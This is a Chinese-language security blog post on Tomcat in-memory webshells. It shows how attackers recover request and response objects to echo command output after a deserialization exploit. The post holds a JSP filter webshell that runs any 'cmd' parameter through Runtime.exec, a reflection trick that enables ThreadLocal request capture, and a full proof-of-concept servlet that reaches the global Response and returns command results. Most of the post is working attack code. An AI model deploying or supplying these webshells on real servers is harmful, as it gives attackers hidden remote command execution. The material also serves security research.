1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); response.setContentType("text/html; charset=UTF-8" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (in).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %>
image-20230201071005531
ThreadLocal Response回显 实验环境:Tomcat 9.0.77 (Tomcat10后部分源码逻辑修改,以及一些反射使用会报NullPointerException)
如果用Tomcat的内存马,需要JSP文件,当我们需要反序列化漏洞来注入内存马是,需要其他的方法获取request和response对象。
首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain
类中找到这样两个变量*lastServicedRequest
和 lastServicedResponse
*。
1 2 3 4 5 public final class ApplicationFilterChain implements FilterChain { private static final ThreadLocal<ServletRequest> lastServicedRequest = new ThreadLocal <>(); private static final ThreadLocal<ServletResponse> lastServicedResponse = new ThreadLocal <>();
并且这两个属性还是静态的,默认赋值
在ApplicationFilterChain#internalDoFilter
中,Tomcat会将request对象和response对象存储到这两个变量中
1 2 3 4 5 6 7 private void internalDoFilter (ServletRequest request,ServletResponse response) throws IOException, ServletException {if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
这里有一个条件ApplicationDispatcher.WRAP_SAME_OBJECT
,默认值为false,但可以反射修改
总结一下思路
反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
的值,通过ThreadLocal#set
方法将request和response对象存储到变量中
初始化lastServicedRequest
和lastServicedResponse
两个变量,默认为null
通过ThreadLocal#get
方法将request和response对象从*lastServicedRequest
和 lastServicedResponse
*中取出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import org.apache.catalina.core.ApplicationFilterChain; import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier; @WebServlet("/echo") public class Tomcat_Echo extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )){ WRAP_SAME_OBJECT_FIELD.setBoolean(null ,true ); } if (lastServicedRequestField.get(null )==null ){ lastServicedRequestField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null )==null ){ lastServicedResponseField.set(null , new ThreadLocal <>()); } if (lastServicedRequestField.get(null )!=null ){ ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null ); ServletRequest servletRequest = (ServletRequest) threadLocal.get(); System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
第一次请求将request和response对象存储进变量中,第二次请求才获取到request
1 2 System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req);
image-20230201082439227
通过全局存储Response回显 Tomcat:9.0.55 (Tomcat9.0.71废除了org.apache.catalina.loader.WebappClassLoaderBas.getResources) 在AbstractProcessor
类中,我们能够找到全局response,在Tomcat调用栈中调用了Http11Processor#service
方法,而Http11Processor
继承了AbstractProcessor
类,这里的response对象正是AbstractProcessor
类中的属性,因此我们如果能获取到Http11Processor
类,就能获取到response对象
调用链
1 StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this .global-------->RequestInfo------->Request-------->Response
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.ProtocolHandler;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint; import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner; @WebServlet("/response") public class Tomcat_Echo_Response extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); try { Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ]; ProtocolHandler protocolHandler = connector.getProtocolHandler(); Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" ); handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler); Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
image-20230201092245861
参考文章 JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)
基于tomcat的内存 Webshell 无文件攻击技术 - 先知社区 (aliyun.com)
Java安全学习——内存马 - 枫のBlog (goodapple.top)
Tomcat中一种半通用回显方法 - Kingkk’s Blog